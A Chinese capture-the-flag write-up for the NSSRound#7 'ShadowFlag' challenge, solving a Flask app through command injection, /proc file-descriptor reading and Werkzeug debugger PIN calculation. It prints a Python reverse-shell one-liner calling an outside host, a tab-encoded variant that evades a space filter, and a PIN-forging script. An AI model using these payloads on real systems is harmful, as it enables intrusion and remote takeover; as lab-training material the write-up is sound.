[NSSRound#7 Team]ShadowFlag

文章目录


前置知识

/proc目录

Linux系统上的/proc目录是一种文件系统,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。/proc 目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件。

利用思路:当某些文件打开时并未close或者是flask在运行时,可以利用proc目录去查看某些文件,比如本题的flag1

python的反弹shell

payload

python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("f57819674z.imdo.co",54789));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

pin码计算

本题的flag2由于用的是with语法打开,所以会默认关闭文件,不像flag1可以查看。所以得计算pin码从flask的环境中去寻找flag2

脚本如下(详细过程可参考解题过程)

import hashlib
from itertools import chain
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485376927778',  
    '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

解题步骤

打开题目,源码如下

from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
    flag2 = f.read()
tag = False


@app.route("/")
def index():
    with open("app.py", "r+") as f:
        return f.read()


@app.route("/shell", methods=['POST'])
def shell():
    global tag
    if tag != True:
        global flag1
        del flag1
        tag = True
    os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
    action = request.form["act"]
    if action.find(" ") != -1:
        return "Nonono"
    else:
        os.system(action)
    return "Wow"


@app.errorhandler(404)
def error_date(error):
    sleep(5)
    return "扫扫扫,扫啥东方明珠呢[怒]"


if __name__ == "__main__":
    app.run()

分析一下

定义了flag1为打开flag1的内容(注意打开后并没有close()),然后利用with语法打开flag2并且结束时关闭文件,把变量tag设置为False;看看/shell路由,首先如果tag为False,那么删除flag1和flag 2,然后接收参数act命令执行,其中过滤空格;然后是限制我们扫目录(猜测怕我们扫出来/console

flag1打开后并没有close,由于flask一直在运行,那么我们就可以在proc目录去寻找,但是这里命令执行是没有回显的,我们可以反弹shell

python3%09-c%09'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("f57819674z.imdo.co",54789));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

成功反弹shell

我们在/proc/16/fd目录下找到flag1(一般在15-35)

第二部分我们要在flask环境变量里去找,也就是要算pin码访问./console

首先通过报错得到app.py的绝对路径

然后获取username

然后获取网卡地址

cat /sys/class/net/eth0/address

去掉冒号转十进制

-最后的系统id包括两部分,我们先读取/proc/sys/kernel/random/boot_id(有些题目是/proc/sys/kernel/random/boot_id

然后取/proc/self/cgroup并且只读取第一行,并以从右边算起的第一个/为分隔符

修改脚本(前置知识处有)

访问./console,发现flag2读取不到

这是因为我们要在对应的环境下获取

所以我们访问./shell,POST传参(不为act即可)

然后找到对应的环境,点击右边的调试即可进入debug

相关推荐
心怀梦想的咸鱼2 分钟前
UE5 第一人称射击项目学习(四)
学习·ue5
AI完全体5 分钟前
【AI日记】24.11.22 学习谷歌数据分析初级课程-第2/3课
学习·数据分析
Mephisto.java41 分钟前
【大数据学习 | Spark-Core】Spark提交及运行流程
大数据·学习·spark
PandaCave1 小时前
vue工程运行、构建、引用环境参数学习记录
javascript·vue.js·学习
yuwinter1 小时前
鸿蒙HarmonyOS学习笔记(2)
笔记·学习·harmonyos
.Ayang1 小时前
tomcat 后台部署 war 包 getshell
java·计算机网络·安全·web安全·网络安全·tomcat·网络攻击模型
red_redemption2 小时前
自由学习记录(23)
学习·unity·lua·ab包
Hacker_Oldv2 小时前
开放性实验——网络安全渗透测试
安全·web安全
幽兰的天空2 小时前
默语博主的推荐:探索技术世界的旅程
学习·程序人生·生活·美食·交友·美女·帅哥
沐泽Mu3 小时前
嵌入式学习-C嘎嘎-Day05
开发语言·c++·学习